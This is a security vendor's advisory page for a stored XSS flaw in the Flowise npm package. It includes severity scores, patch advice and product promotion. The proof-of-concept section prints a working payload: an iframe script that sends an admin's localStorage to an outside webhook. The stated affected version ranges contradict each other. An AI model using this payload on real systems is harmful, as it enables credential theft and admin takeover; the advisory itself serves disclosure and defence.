How severe is GHSA-964p-j4gg-mhwc?

GHSA-964p-j4gg-mhwc has a CVSS score of 9.3/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by GHSA-964p-j4gg-mhwc?

GHSA-964p-j4gg-mhwc affects the following packages: flowise (npm). Ecosystems affected: npm.

How do I fix GHSA-964p-j4gg-mhwc?

Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-964p-j4gg-mhwc is resolved across your whole dependency graph.

How do I detect GHSA-964p-j4gg-mhwc in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-964p-j4gg-mhwc if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-964p-j4gg-mhwc?

O3 pinpoints whether GHSA-964p-j4gg-mhwc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-964p-j4gg-mhwc actively exploited in the wild?

No public exploit code has been indexed for GHSA-964p-j4gg-mhwc yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-964p-j4gg-mhwc?

GHSA-964p-j4gg-mhwc has an EPSS (Exploit Prediction Scoring System) score of 12.9%, placing it in the 96th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score warrants monitoring and prompt remediation.

What type of vulnerability is GHSA-964p-j4gg-mhwc?

GHSA-964p-j4gg-mhwc is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-964p-j4gg-mhwc published, and has it been updated?

GHSA-964p-j4gg-mhwc was published on October 3, 2025 and was last updated on February 4, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-964p-j4gg-mhwc

CRITICAL

Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Also known asCVE-2025-50538

Published

Oct 3, 2025

Updated

Feb 4, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

12.9%probability of exploitation in next 30 days

Moderate Risk96th percentile+12.75%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

flowisenpm

2Kdownloads / week

Description

Summary

A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

Details

The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

PoC

Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).

Send the following payload via the agent's chat interface:

<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">

As an admin, go to the workflow and click "View Messages".
The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

Impact

Type: Stored Cross-Site Scripting (XSS)
Who is impacted: Any admin viewing messages in the FlowiseAI UI
Data at risk: Admin credentials, or sensitive info stored in localStorage
Severity: High (Account takeover, admin privilege escalation, full panel compromise)

Affected Products

Ecosystem: npm
Package name: flowise
Affected versions: < 2.2.7
Patched versions:1

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`flowise`	all versions	3.0.8

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-964p-j4gg-mhwc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-964p-j4gg-mhwc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-964p-j4gg-mhwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is exe

O3 Security · Impact-Aware SCA

Is GHSA-964p-j4gg-mhwc in your dependencies?

O3 detects GHSA-964p-j4gg-mhwc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works